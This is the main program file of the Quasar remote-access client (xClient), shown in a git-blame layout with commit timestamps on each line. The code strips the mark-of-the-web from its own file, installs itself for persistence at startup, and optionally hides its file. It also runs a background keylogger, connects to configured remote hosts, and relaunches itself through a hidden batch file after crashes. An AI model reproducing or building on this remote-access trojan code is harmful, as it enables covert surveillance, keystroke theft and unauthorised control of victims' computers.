2015-01-13 10:29:11 -08:00
|
|
|
|
using System;
|
2015-05-31 10:22:00 -07:00
|
|
|
|
using System.Diagnostics;
|
2014-07-08 05:58:53 -07:00
|
|
|
|
using System.IO;
|
|
|
|
|
using System.Threading;
|
|
|
|
|
using System.Windows.Forms;
|
2015-01-13 10:29:11 -08:00
|
|
|
|
using xClient.Config;
|
|
|
|
|
using xClient.Core.Commands;
|
2015-09-01 06:16:27 -07:00
|
|
|
|
using xClient.Core.Cryptography;
|
2015-08-15 07:06:07 -07:00
|
|
|
|
using xClient.Core.Data;
|
2015-07-26 07:44:03 -07:00
|
|
|
|
using xClient.Core.Helper;
|
2015-08-24 10:34:38 -07:00
|
|
|
|
using xClient.Core.Installation;
|
2015-06-05 14:07:37 -07:00
|
|
|
|
using xClient.Core.Networking;
|
2015-07-26 10:36:11 -07:00
|
|
|
|
using xClient.Core.Utilities;
|
2014-07-08 05:58:53 -07:00
|
|
|
|
|
2015-01-13 10:29:11 -08:00
|
|
|
|
namespace xClient
|
2014-07-08 05:58:53 -07:00
|
|
|
|
{
|
2015-04-21 11:27:52 -07:00
|
|
|
|
internal static class Program
|
2014-07-08 05:58:53 -07:00
|
|
|
|
{
|
2015-09-09 13:18:50 -07:00
|
|
|
|
public static QuasarClient ConnectClient;
|
2015-05-23 05:09:55 -07:00
|
|
|
|
private static ApplicationContext _msgLoop;
|
2014-07-08 05:58:53 -07:00
|
|
|
|
|
2015-01-13 10:29:11 -08:00
|
|
|
|
[STAThread]
|
|
|
|
|
private static void Main(string[] args)
|
2014-07-08 05:58:53 -07:00
|
|
|
|
{
|
2015-01-13 10:29:11 -08:00
|
|
|
|
Application.EnableVisualStyles();
|
|
|
|
|
Application.SetCompatibleTextRenderingDefault(false);
|
2015-09-05 13:25:57 -07:00
|
|
|
|
AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException;
|
2015-03-17 09:22:42 -07:00
|
|
|
|
|
2015-09-09 13:18:50 -07:00
|
|
|
|
if (Settings.Initialize())
|
|
|
|
|
{
|
2015-09-10 13:21:43 -07:00
|
|
|
|
if (Initialize())
|
|
|
|
|
{
|
|
|
|
|
if (!QuasarClient.Exiting)
|
|
|
|
|
ConnectClient.Connect();
|
|
|
|
|
}
|
2015-09-09 13:18:50 -07:00
|
|
|
|
}
|
2014-07-08 05:58:53 -07:00
|
|
|
|
|
2015-03-17 09:22:42 -07:00
|
|
|
|
Cleanup();
|
2015-09-09 13:18:50 -07:00
|
|
|
|
Exit();
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private static void Exit()
|
|
|
|
|
{
|
|
|
|
|
// Don't wait for other threads
|
|
|
|
|
if (_msgLoop != null || Application.MessageLoop)
|
|
|
|
|
Application.Exit();
|
|
|
|
|
else
|
|
|
|
|
Environment.Exit(0);
|
2015-03-17 09:22:42 -07:00
|
|
|
|
}
|
|
|
|
|
|
2015-09-05 13:25:57 -07:00
|
|
|
|
private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e)
|
|
|
|
|
{
|
|
|
|
|
if (e.IsTerminating)
|
|
|
|
|
{
|
|
|
|
|
string batchFile = FileHelper.CreateRestartBatch();
|
|
|
|
|
if (string.IsNullOrEmpty(batchFile)) return;
|
|
|
|
|
|
|
|
|
|
ProcessStartInfo startInfo = new ProcessStartInfo
|
|
|
|
|
{
|
|
|
|
|
WindowStyle = ProcessWindowStyle.Hidden,
|
|
|
|
|
UseShellExecute = true,
|
|
|
|
|
FileName = batchFile
|
|
|
|
|
};
|
|
|
|
|
Process.Start(startInfo);
|
2015-09-09 13:18:50 -07:00
|
|
|
|
Exit();
|
2015-09-05 13:25:57 -07:00
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2015-03-17 09:22:42 -07:00
|
|
|
|
private static void Cleanup()
|
|
|
|
|
{
|
2015-01-13 10:29:11 -08:00
|
|
|
|
CommandHandler.CloseShell();
|
2015-07-25 15:10:59 -07:00
|
|
|
|
if (CommandHandler.StreamCodec != null)
|
|
|
|
|
CommandHandler.StreamCodec.Dispose();
|
2015-07-26 10:36:11 -07:00
|
|
|
|
if (Keylogger.Instance != null)
|
|
|
|
|
Keylogger.Instance.Dispose();
|
2015-05-23 05:24:31 -07:00
|
|
|
|
if (_msgLoop != null)
|
2015-09-09 13:18:50 -07:00
|
|
|
|
{
|
2015-05-23 05:24:31 -07:00
|
|
|
|
_msgLoop.ExitThread();
|
2015-09-10 10:30:42 -07:00
|
|
|
|
_msgLoop.Dispose();
|
2015-09-09 13:18:50 -07:00
|
|
|
|
_msgLoop = null;
|
|
|
|
|
}
|
2015-08-24 10:34:38 -07:00
|
|
|
|
MutexHelper.CloseMutex();
|
2014-07-08 05:58:53 -07:00
|
|
|
|
}
|
|
|
|
|
|
2015-09-10 13:21:43 -07:00
|
|
|
|
private static bool Initialize()
|
2014-07-08 05:58:53 -07:00
|
|
|
|
{
|
2015-09-09 13:18:50 -07:00
|
|
|
|
var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
|
2015-09-05 13:25:57 -07:00
|
|
|
|
|
|
|
|
|
// process with same mutex is already running
|
2015-09-09 13:18:50 -07:00
|
|
|
|
if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
|
2015-09-10 13:21:43 -07:00
|
|
|
|
return false;
|
2014-07-08 05:58:53 -07:00
|
|
|
|
|
2015-09-18 12:22:29 -07:00
|
|
|
|
AES.SetDefaultKey(Settings.PASSWORD);
|
2015-08-24 10:34:38 -07:00
|
|
|
|
ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
|
2015-07-26 07:44:03 -07:00
|
|
|
|
GeoLocationHelper.Initialize();
|
2015-09-05 13:25:57 -07:00
|
|
|
|
|
2015-08-24 14:31:36 -07:00
|
|
|
|
FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);
|
|
|
|
|
|
2015-08-24 10:34:38 -07:00
|
|
|
|
if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
|
|
|
|
|
{
|
|
|
|
|
WindowsAccountHelper.StartUserIdleCheckThread();
|
2014-07-08 05:58:53 -07:00
|
|
|
|
|
2015-09-06 07:17:21 -07:00
|
|
|
|
if (Settings.STARTUP)
|
2015-05-26 09:28:15 -07:00
|
|
|
|
{
|
2015-08-24 10:34:38 -07:00
|
|
|
|
if (!Startup.AddToStartup())
|
|
|
|
|
ClientData.AddToStartupFailed = true;
|
2015-05-26 09:28:15 -07:00
|
|
|
|
}
|
|
|
|
|
|
2015-09-06 07:25:21 -07:00
|
|
|
|
if (Settings.INSTALL && Settings.HIDEFILE)
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
2015-09-06 07:27:52 -07:00
|
|
|
|
File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden);
|
2015-09-06 07:25:21 -07:00
|
|
|
|
}
|
|
|
|
|
catch (Exception)
|
|
|
|
|
{
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2015-05-01 05:50:38 -07:00
|
|
|
|
if (Settings.ENABLELOGGER)
|
|
|
|
|
{
|
|
|
|
|
new Thread(() =>
|
|
|
|
|
{
|
2015-05-23 05:09:55 -07:00
|
|
|
|
_msgLoop = new ApplicationContext();
|
2015-07-26 10:36:11 -07:00
|
|
|
|
Keylogger logger = new Keylogger(15000);
|
2015-05-23 05:09:55 -07:00
|
|
|
|
Application.Run(_msgLoop);
|
2015-09-09 13:18:50 -07:00
|
|
|
|
}) {IsBackground = true}.Start();
|
2015-05-01 05:50:38 -07:00
|
|
|
|
}
|
2015-09-09 13:18:50 -07:00
|
|
|
|
|
|
|
|
|
ConnectClient = new QuasarClient(hosts);
|
2015-09-10 13:21:43 -07:00
|
|
|
|
return true;
|
2015-01-13 10:29:11 -08:00
|
|
|
|
}
|
|
|
|
|
else
|
|
|
|
|
{
|
2015-08-24 10:34:38 -07:00
|
|
|
|
MutexHelper.CloseMutex();
|
|
|
|
|
ClientInstaller.Install(ConnectClient);
|
2015-09-10 13:21:43 -07:00
|
|
|
|
return false;
|
2015-01-13 10:29:11 -08:00
|
|
|
|
}
|
|
|
|
|
}
|
2014-07-08 05:58:53 -07:00
|
|
|
|
}
|
2015-01-13 10:29:11 -08:00
|
|
|
|
}
|